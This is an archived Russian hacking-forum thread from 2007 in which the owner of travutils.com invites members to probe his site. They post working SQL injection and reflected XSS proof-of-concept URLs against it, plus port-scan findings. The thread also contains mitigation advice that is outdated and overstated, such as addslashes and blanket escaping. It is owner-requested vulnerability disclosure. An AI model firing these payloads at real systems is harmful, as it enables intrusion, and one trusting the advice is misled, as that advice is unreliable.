Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Проверка на уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=110)
-   -   http://travutils.com/ (https://forum.antichat.xyz/showthread.php?t=53985)

anlide 20.11.2007 12:28

http://travutils.com/
 
Приветствую!

Проверьте пожалуйста http://travutils.com/ . Ссылку разместил на всех страницах сайта :)

Red_Red1 20.11.2007 14:03

Есть скуль иньекция но пока еще не нашел вывод
http://travutils.com/?s=com7_2006&ida=-4716%20union%20select%201111,1111,3333,4444,5555,6 666,7777,8888,9999/*
Могу добавить что версия мускула вроде пятая, так как реагирует на information_schema.tables

BlackCats 20.11.2007 14:09

http://travutils.com/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/?s=com7_2006&kw=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/?s=cat1&idu=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/?s=cat1&ally=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/index.php?s=cat1&%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/index.php?s=cat1&user=%22%3E%3Cscript%3Ealert(99)% 3C/script%3E
http://travutils.com/de/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/fr/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/uk/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
http://travutils.com/ru/?%22%3E%3Cscript%3Ealert(99)%3C/script%3E
пути:
http://travutils.com/?s=cat1&archiv=1'
//
http://travutils.com/?s=cat1&archiv=1+order+by+1/*

Lithium 20.11.2007 15:36

http://travutils.com/p/s/map.php?s=cz1&idv=1'&size=125&t=2&nocache
http://travutils.com/p/s/map.php?s=cz1&idv=181591&size='&t=2&nocache
http://travutils.com/p/s/map.php?s=cz1&idu=1'&size=125&t=2&nocache
http://travutils.com/p/s/map.php?s=cz1&ida=1'&size=125&t=2&nocache
Стоит на 3306 порту 5.0.32-Debian_7etch1
SMTP ---- ESMTP Postfix
SSH-2.0-OpenSSH_4.3p2
vsFTPd 2.0.5
Насканил xSpider-ом...Лень было руками загребущими разгребать...

anlide 20.11.2007 20:53

sql инъекция, я думаю, невозможна. Ну или по крайней мере бессмысленна. При выполнении любого скрипта работающего с базой сначала выполняется код:
PHP код:

reset($_GET);
for(
$i=0;$i<count($_GET);$i++){
    
$k=key($_GET);
    
next($_GET);
    
$_GET[$k]=addslashes($_GET[$k]);
}
reset($_POST);
for(
$i=0;$i<count($_POST);$i++){
    
$k=key($_POST);
    
next($_POST);
    
$_POST[$k]=addslashes($_POST[$k]);


Почти во всех запросах входящие параметры берутся в кавычки, а там где не берутся - там и может быть уязвимость. Но об этом я давно в кусе, и в новой версии сайта уже такого не будет.
Далее, даже если и добрались до осмысленного sql инъекции - у вас есть право только на чтение (sql пользователь, который работает от сайта). А поскольку на данный момент "все данные для всех" то и угрозы оно никакой не представляет.

На тему javascript... BlackCats полный зачёт! Спасибо большое!

Lithium спасибо за дырку в генераторе карты... особенно за вторую ссылку.

На тему сканирования портов и аналогичных заметных вещей - я бы не советовал чего-то подобного делать, потому что хостинговые админы недавно отбились от крупной DDoS атаки и посему страшно злые...

ЗЫ. Всем спасибо большое, в новой версии сайта будет защита от всего найденного!

anlide 20.11.2007 21:02

Может лучше тестировать http://new.travutils.com/ ? Бо там я чуть-что буду исправлять всё подряд. Вплоть до идеального блеска... я думаю это будет всем интересно. Что скажете?

http://new.travutils.com/ тут работает кнопка "вход" и всё что дальше от неё, кроме "забыли пароль?". Это на текущий момент.

ЗЫ. К модераторам - на http://new.travutils.com/ тоже разместить ссылку?

Lithium 20.11.2007 21:26

http://new.travutils.com/?login=admin&pass=lalala&antybot=8150025&submit_lo gin="><script>alert()</script>&long=on

http://new.travutils.com/?login=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3 E&pass1=lalala&email=%3Cscript%3Ealert%28%29%3C%3F script%3E&acept=on&antybot=8150025&submit_register =%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0%B8% D1%82%D1%8C

Lithium 20.11.2007 21:42

Странно блин...Инклуд...http://new.travutils.com/?w=s...

anlide 20.11.2007 22:49

Цитата:

Странно блин...Инклуд...http://new.travutils.com/?w=s...
Сейчас это нормально. Алгоритм распарсивания url я уже прицепил к новому сайту, а наполнять содержимым ещё нет. Ибо логины надо сначала осилить.

Дыру с языками заделал :) спасибо большое! Вот код, составления строки с новым языком (чтобы легче искать дыру было):
PHP код:

        if($_SERVER['QUERY_STRING']!=''){
            
$qstr='/?';
            
reset($_GET);
            for(
$j=0;$j<count($_GET);$j++){
                
$c=current($_GET);
                
$k=key($_GET);
                
next($_GET);
                
$c=explode('"'$c);$c=$c[1];
                
$k=explode('"'$k);$k=$k[1];
                
$qstr.=$k;
                if(
$c!='')$qstr.='='.$c;
                if(
$j!=count($_GET)-1)$qstr.='&amp;';
            }
        }else{
            
$qstr='';
        }
        for(
$i=1;$i<=count($ll->a);$i++){
            print(
'<td id="p3" rowspan=2><a href="'.$home.$ll->a[$i].$qstr.'"><img alt="'.$ll->a[$i].'" class="leng" src="'.up.'flag/'.$ll->a[$i].'.gif"></a></td>');
        } 


anlide 20.11.2007 23:05

Lithium на тему скана портов - незнаю. Не сильно в этом разбираюсь. Но то что админы в последнее время злые - это 100%

BlackCats, всё кроме "путей" на основном сайте исправил, это был тот же глюк что нашёл чуть позже Lithium на новом сайте, только сейчас разобрался что это одно и тоже.

Ещё раз спасибо всем за поиски дыр.

NOmeR1 21.11.2007 21:12

Цитата:

Сообщение от anlide
кроме "путей".

error_reporting(0); не помогает?

P.S. Скуля:
Код:

http://travutils.com/?s=cat1&archiv=1&idv=-1+union+select+1,VERSION(),3,4,5/*
XSS:
Код:

http://travutils.com/?s=cat1&archiv=1&kw="><script>alert()</script>
Это было первым, что я просмотрел, поэтому скорее всего - это ещё не всё.

v1ru$ 21.11.2007 22:07

Код:

http://travutils.com/ru/?s=cz13&idu=%22%3E%3Cscript%3Ealert()%3C/script%3E
В каждом поле xss
Код:

http://new.travutils.com/?login=1

NOmeR1 21.11.2007 22:28

Чел, у тя полно XSS, попробуй это:
PHP код:

$_GET array_map("htmlspecialchars"$_GET);
 
$_POST array_map("htmlspecialchars"$_POST); 


anlide 22.11.2007 02:07

Цитата:

Чел, у тя полно XSS, попробуй это:
Это оказалось то что надо! Спасибо большое теперь я не вижу ни одного xss!!!

Цитата:

error_reporting(0); не помогает?
Очень помогает! Спасибо огромное за ещё один совет!

Цитата:

P.S. Скуля:
Да... взлом оценил, но дырку я сегодня не смогу залатать. Очень хочется спать. Завтра как залатаю отпишусь.

Оффтоп: В правилах раздела написано, что тем кто нашёл уязвимости в сайте - надо начислять какие-то бонусные очки. Это я должен делать? Если да - то как?


blackybr : нет, не ты

NOmeR1 22.11.2007 17:24

Цитата:

Сообщение от anlide
Это оказалось то что надо! Спасибо большое теперь я не вижу ни одного xss!!!

Очень помогает! Спасибо огромное за ещё один совет!

Да... взлом оценил, но дырку я сегодня не смогу залатать. Очень хочется спать. Завтра как залатаю отпишусь.

Оффтоп: В правилах раздела написано, что тем кто нашёл уязвимости в сайте - надо начислять какие-то бонусные очки. Это я должен делать? Если да - то как?


blackybr : нет, не ты

PHP код:

 $_GET array_map("htmlspecialchars"$_GET); 
 
$_POST array_map("htmlspecialchars"$_POST);
 
$_GET array_map("mysql_escape_string"$_GET); 
 
$_POST array_map("mysql_escape_string"$_POST); 

Хых, вот - должно от скуль и xss спасти =)

anlide 22.11.2007 19:21

Цитата:

Сообщение от NOmeR1
Хых, вот - должно от скуль и xss спасти =)

Спасибо помогло. Указанную уязвимость mysql инъекции исправил. Вот ещё наводка - на страницах типа http://travutils.com/?s=cat1&vill используется ajax. Может удастся тут что-то сделать? Кроме того календарик тоже на ajax построен.

anlide 27.11.2007 18:53

Неужели уязвимостей больше нет?

А вот такое:

Задача:
На http://new.travutils.com/?login есть пользователь "test" известно, что пароль длинной 5 символов, также известно, что в состав пароля входят только цифры [0-9].
Вопрос:
Какой пароль этого пользователя?
Примечание:
Попробуйте plz перебором взломать :)

halkfild: это твой сайт, какой смысл брутить учетку?
и как брут твоей учетки относится к проверке на уязвимости твоего сайта?

Anlide: Поставил несколько защит от брутфорса, вполне логично, что я хочу увидеть её работу в действии. А если будет тяжело взломать учётки пользователей - то и сайт вцелом будет лучше защищён.

George767 02.12.2007 07:47

Я непонимаю зачем вообще давать знак что сайт написан на php и какие параметры он принимает? Пишем элементарно в .htaccess

Options +FollowSymlinks All -Indexes
RewriteEngine on
RewriteRule ^xxx/([0-9]{1,100})\.html$ xxx/templates/main_template.php?section=$1 [nc]

//если не в курсе - при запросе xxx/2.html отображается результаты скрипта xxx/templates/main_template.php?section=2

и все проблемы разом и навсегда отпадают. Дополнительно на входные POST, GET и COOKIE ставишь preg_replace('/[^0-9]+/','',$_POST['xxx']

//Выкидывать все символы кроме цифр

Никакой хукер не доберется, защита алмазная!

Я на всех проектах своих так ставлю.

anlide 02.12.2007 20:49

На тему сокрытия php очень интересно, спасибо. Но к сожалению слишком многое придётся для этого переделывать. Но идея канешна супер! Её бы в рамочку перед началом разработки любого сложного сайта :)

На тему выбрасывания не-цифр из входящих параметров, вот http://travutils.com/?s=ru2&kw=vasa в строке 2 параметра, которые надо обязательно представлять в строчном виде. И второй параметр должен уметь содержать любые utf-8 символы, потому тут приходится действовать "всё разрешено, кроме" а не "всё запрещено, кроме". А при разработке логин/пароль системы одними цифрами ограничится некорректно... хотя да, защита действительно алмазная.

George767 03.12.2007 13:51

Цитата:

Сообщение от anlide
На тему выбрасывания не-цифр из входящих параметров, вот http://travutils.com/?s=ru2&kw=vasa в строке 2 параметра, которые надо обязательно представлять в строчном виде. И второй параметр должен уметь содержать любые utf-8 символы, потому тут приходится действовать "всё разрешено, кроме" а не "всё запрещено, кроме". А при разработке логин/пароль системы одними цифрами ограничится некорректно... хотя да, защита действительно алмазная.

любые utf-8 символы это опасно. Надо разрешить с десяток символов, букв латиницы и цифры и прописать их в то регулярное выражение. Ничего с посетителем не станет если вы требуете ограниченные символы в логине/пароле. У меня несколько счетов в банках Англии, у них к примеру разрешены только буквы и цифры в веб-интерфейсе доступа к панели управления...

Одно правило - не доверять сети. Все что потенциально ненужно - запрещать. Только так можно оградить себя от взломов.

anlide 09.12.2007 02:01

Цитата:

Сообщение от George767
любые utf-8 символы это опасно. Надо разрешить с десяток символов, букв латиницы и цифры и прописать их в то регулярное выражение. Ничего с посетителем не станет если вы требуете ограниченные символы в логине/пароле. У меня несколько счетов в банках Англии, у них к примеру разрешены только буквы и цифры в веб-интерфейсе доступа к панели управления...

Одно правило - не доверять сети. Все что потенциально ненужно - запрещать. Только так можно оградить себя от взломов.

любые utf-8 символы - к сожалению спицифика сайта требует именно такого решения. Кстати я вот думал-думал и так и не понял почему же это опасно? На тему логинов паролей - да, так и сделал.


Время: 01:40